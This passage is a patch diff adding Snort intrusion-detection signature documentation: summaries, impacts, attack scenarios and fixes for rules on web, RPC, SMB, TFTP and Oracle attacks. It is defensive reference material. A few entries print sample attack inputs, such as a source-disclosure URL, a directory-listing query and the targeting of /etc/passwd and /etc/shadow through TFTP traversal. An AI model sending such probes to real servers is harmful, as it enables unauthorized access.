+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1054.txt
+++ snort-2.8.5.2/doc/signatures/1054.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+
+Sid:
+1054
+
+--
+
+Summary:
+Someone attempted to gain unauthorized access to web application source code
+through a BEA WebLogic Server or Apache Tomcat JSP vulnerability.
+
+--
+Impact:
+An attacker may have been able to read the source code to a web application.
+Sometimes web application source code contains highly sensitive information,
+such as database passwords and information concerning backend setups.  This
+could be a prelude to further attacks.
+
+--
+Detailed Information:
+Some versions of BEA WebLogic and Apache Tomcat web servers contain
+vulnerabilities that can allow an attacker to read the source code to
+web applications.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Attacker sends a simple URL like the following:
+http://www.example.com/index.js%70
+
+--
+Ease of Attack:
+Very simple handcrafted URL.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to see if a web request was being done.  Try to
+determine what the requested file was, and determine
+from the web server's configuration whether it was a threat or not
+(e.g., whether the requested file even existed and whether the web
+server was vulnerable to such attacks).
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2361.txt
+++ snort-2.8.5.2/doc/signatures/2361.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+2361
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application YaBB SE.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+YaBB SE contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable template
+in the script news.php when making a GET or POST  request  to a 
+vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	YaBB SE YaBB SE 0.8
+	YaBB SE YaBB SE 1.4.1
+	YaBB SE YaBB SE 1.5 .0
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the template variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required. Exploit code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000142.txt
+++ snort-2.8.5.2/doc/signatures/100000142.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+100000142
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+directory traversal associated with Imail Web Calendaring
+servicel
+
+--
+Impact:
+A successful attack can permit a user to navigate outside
+of the web root directory and read files.
+
+--
+Detailed Information:
+The Imail Web Calendaring Server does not properly sanitize
+a malformed URL that contains directory traversal characters.
+This vulnerability is associated with static objects identified
+by names ending in .jsp, .jpg, .gif, .wav, .css, or .htm.  This
+can permit an unauthorized user to examine files that may contain
+sensitive information.
+
+--
+Affected Systems:
+Ipswitch IMail Server 8.2 and prior
+Ipswitch IMail Server 8.15 and prior
+
+--
+Attack Scenarios:
+An attacker send a URI containing a directory traversal to view
+sensitive files on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1366.txt
+++ snort-2.8.5.2/doc/signatures/1366.txt
@@ -0,0 +1,56 @@
+Rule: 
+
+--
+Sid: 1366
+
+-- 
+Summary: 
+This event is generated when execution of a "mail" command using the path /bin/mail is attempted via HTTP.
+
+-- 
+Impact: 
+Possible intelligence gathering. This may be an attempt to gain information using mail to access sensitive files on a webserver.
+
+-- 
+Detailed Information: 
+This may be an attempt to gain intelligence from sensitive system files on a webserver. This rule generates an event when a "mail" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. 
+
+The "mail" command is used to read and send email on UNIX systems. The rule looks for the "mail" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "mail" command in the URL indicates that an attacker attempted to trick the web server into executing a system command in non-interactive mode i.e. without a valid shell session. 
+
+This rule may also generate an event if it detects this command in an unencrypted HTTP tunneling connection to the server or a shell connection through an exploit of the web server.
+
+-- 
+Attack Scenarios: 
+The attacker can make a standard HTTP request that contains the path to the "mail" command in the URI, which can then return requested files to an external destination.
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action:
+Webservers should not be allowed to view or execute files and binaries outside of its designated web root or cgi-bin.
+
+This command may also be requested on a command line should the attacker gain access to the machine. 
+
+Non-essential binaries should be removed from a webserver once it is in production.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/110-1.txt
+++ snort-2.8.5.2/doc/signatures/110-1.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+110-1
+
+--
+Summary:
+This event is generated when the pre-processor spp_unidecode detects
+network traffic that may constitute an attack. Specifically a cgi null
+attack was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_unidecode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/828.txt
+++ snort-2.8.5.2/doc/signatures/828.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+828
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/301.txt
+++ snort-2.8.5.2/doc/signatures/301.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 301
+
+--
+Summary:
+This event is generated when an attempt is made to escalate privileges remotely using a vulnerability in LPRng.
+
+--
+Impact:
+System compromize presenting the attacker with escalated system privileges .
+
+--
+Detailed Information:
+LPRng is an implementation of the Berkeley lpr print spooling protocol. Some versions are vulnerable to a format-string attack that takes advantage of a bug in the syslog() wrapper. Successfull exploitation may present a remote attacker with the ability to execute arbitrary code using the privileges of the LPD daemon owner (typically root).
+
+Arbitrary addresses in the lpd process address space can be overwritten by sending specially crafted packets to the LPRng daemon listening on port 515 to execute arbitrary code or generate a segmentation violation.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to LPRng port 515 from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1712
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2888.txt
+++ snort-2.8.5.2/doc/signatures/2888.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2888
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_char
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1713.txt
+++ snort-2.8.5.2/doc/signatures/1713.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1713
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000330.txt
+++ snort-2.8.5.2/doc/signatures/100000330.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000330
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Invision Power Board" application running on a webserver. Access to the file "moderate.php" using a remote file being passed as the "df" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "df" parameter in the "moderate.php" script used by the "Invision Power Board" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Invision Power Board
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2038.txt
+++ snort-2.8.5.2/doc/signatures/2038.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2038
+
+--
+Summary:
+Network Status Monitor (NSM) is used to indicate wether a host is up or 
+for its status.
+
+--
+Impact:
+Intelligence gathering about the current state of a host and wether rpc 
+services are available.
+
+--
+Detailed Information:
+NSM runs on client machines and informs other hosts of the status of 
+that machine should a crash or reboot occur. Each remote application 
+using an rpc service can therefore register with the host when services 
+are once again available.
+
+A request made to a machine will indicate to the attacker the status of 
+that host and will also be indicative of rpc services being available. 
+The attacker might then continue to ascertain which rpc services are 
+being offered and then launch an attack on vulnerable daemons.
+
+--
+Affected Systems:
+Any system running the service.
+
+--
+Attack Scenarios:
+An attacker merely needs to request the status of the host using rpc.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Use the hosts.allow file to restrict the hosts able to request the 
+status of the server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Status Monitor Protocol, The Open Group:
+http://www.opengroup.org/onlinepubs/009629799/chap11.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1192.txt
+++ snort-2.8.5.2/doc/signatures/1192.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1192
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2940.txt
+++ snort-2.8.5.2/doc/signatures/2940.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2940
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the Windows
+registry service via SMB. 
+
+--
+Impact:
+Serious. Remote administration of the Windows reqistry may be possible.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to bind to the Windows
+registry service via SMB across the network.
+
+It may be possible for an attacker to manipulate the Windows registry
+from a remote location. This could give the attacker administrative
+privileges on the target host as well as the opportunity to execute code
+of their choosing.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If the Windows registry is accessible via SMB the attacker can
+manipulate the operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1189.txt
+++ snort-2.8.5.2/doc/signatures/1189.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid:
+1189
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web server.
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-stop-ver".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default). Web Publishing need not be enabled for
+this exploit to work.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+-- 
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3377.txt
+++ snort-2.8.5.2/doc/signatures/3377.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3377
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2125.txt
+++ snort-2.8.5.2/doc/signatures/2125.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2125
+
+--
+Summary:
+This event is generated when an attempt is made to escape the root directory of an FTP server. 
+
+--
+Impact:
+Information gathering possible system file disclosure.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running an FTP server vulnerable to an attack that allows the user to escape the FTP root directory.
+
+The attacker may be trying to gain information on the FTP implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+The ST FTP server from STSoft suffers from a vulnerability that can allow an attacker to access the filesystem on the host running the service.
+
+This event will also be generated by someone using Nessus to scan for this vulnerability.
+
+--
+Affected Systems:
+STSoft ST FTP Service 3.0
+
+--
+Attack Scenarios:
+The attacker is able to access the filesystem of the server using normal FTP commands.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the FTP implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the underlying operating system is fully patched.
+
+Check the host for signs of compromise.
+
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/520.txt
+++ snort-2.8.5.2/doc/signatures/520.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+520
+
+--
+Summary:
+This event is generated when a TFTP request is made with a directory designation of "/".  This may be an indication of an attempt to request or place files on the TFTP server outside the root directory configured for the TFTP server.
+
+--
+Impact:
+TFTP servers that allow files to be placed outside the configured root directory for the server may allow remote attackers to execute arbitrary commands on the system.  Additionally if the TFTP server allows directory transversal using the "/" designator it may be possible to retrieve files from other directories on the system.
+
+--
+Detailed Information:
+This rule searches for a "/" payload in TFTP requests.  Vulnerable TFTP servers may allow remote attackers to transfer files to directories outside the normal root directory configured for the TFTP server.  This could result in sensitive files being transfered off the system or arbitrary files being upload to the system.
+
+--
+Attack Scenarios:
+Using the "/" designator it may be possible to fool vulnerable TFTP server into placing files or retrieving files from outside the TFTP configured root directory.  Normally an attacker will attempt to retrieve sensitive system files such as "/etc/passwd" or "/etc/shadow" after determining if this attack vector is successful.  
+
+--
+Ease of Attack:
+Simple: Numerous tools and automated scripts exist for scanning large subnets for improperly configured TFTP servers.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives
+None Known
+
+--
+Corrective Action:
+Upgrade to the current version of your TFTP server solution, or contact the product vendor for patch information.
+
+Contributers:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+Additional References
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0183
+
+Arachnids:
+http://www.whitehats.com/info/IDS138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2176.txt
+++ snort-2.8.5.2/doc/signatures/2176.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+folder via SMB. 
+
+--
+Impact:
+Serious. This folder contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a folder
+containing important operating system files using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this folder is accessible via SMB the attacker can replace or view
+important operating system files.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/567.txt
+++ snort-2.8.5.2/doc/signatures/567.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+567
+
+--
+Summary: 
+This event is generated when a failed attempt is made to use a Simple Mail Transfer Protocol (SMTP) server to relay mail to a third party.
+
+--
+Impact: 
+Rejected of unauthorized use.  This event indicates that an SMTP server is properly configured to reject mail relay attempts.
+
+
+--
+Detailed Information: 
+An attacker may attempt to use an improperly configured SMTP server to relay mail, reflecting the origin of the mail to be the relay SMTP server instead of the actual sender.  A poorly configured SMTP server may be used to relay spam and other undesirable mail.  If an SMTP server rejects relay attempts, it will return an error message indicating the failure.  
+
+--
+Affected Systems: 
+SMTP servers
+
+--
+Attack Scenarios: 
+An attacker may attempt to relay mail through an improperly configured SMTP server.
+
+--
+Ease of Attack: 
+Simple
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+An SMTP server may reject mail using other errors.
+
+--
+Corrective Action: 
+Configure an SMTP server to reject relayed mail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS249
+
+Miscellaneous
+http://mail-abuse.org/tsi/ar-fix.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2189.txt
+++ snort-2.8.5.2/doc/signatures/2189.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2189
+
+--
+Summary:
+This event is generated when a suspicious packet using an unusual 
+protocol is sent to a router.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in multiple Cisco IOS versions such that a Denial
+of Service condition can be issued against a device by sending multiple 
+packets using IP protocols 53, 55, 77 and 103 directly to that device.
+
+Cisco IOS processes these packets and under certain circumstances, can 
+be made to incorrectly flag an input interface as being full.
+
+--
+Affected Systems:
+Multiple versions of Cisco IOS.
+
+--
+Attack Scenarios:
+An attacker may send a large number of IP packets using one of the 
+protocols 53, 55, 77 or 103 directly to a router. Exploit code exists.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2544.txt
+++ snort-2.8.5.2/doc/signatures/2544.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2544
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3055.txt
+++ snort-2.8.5.2/doc/signatures/3055.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3055
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
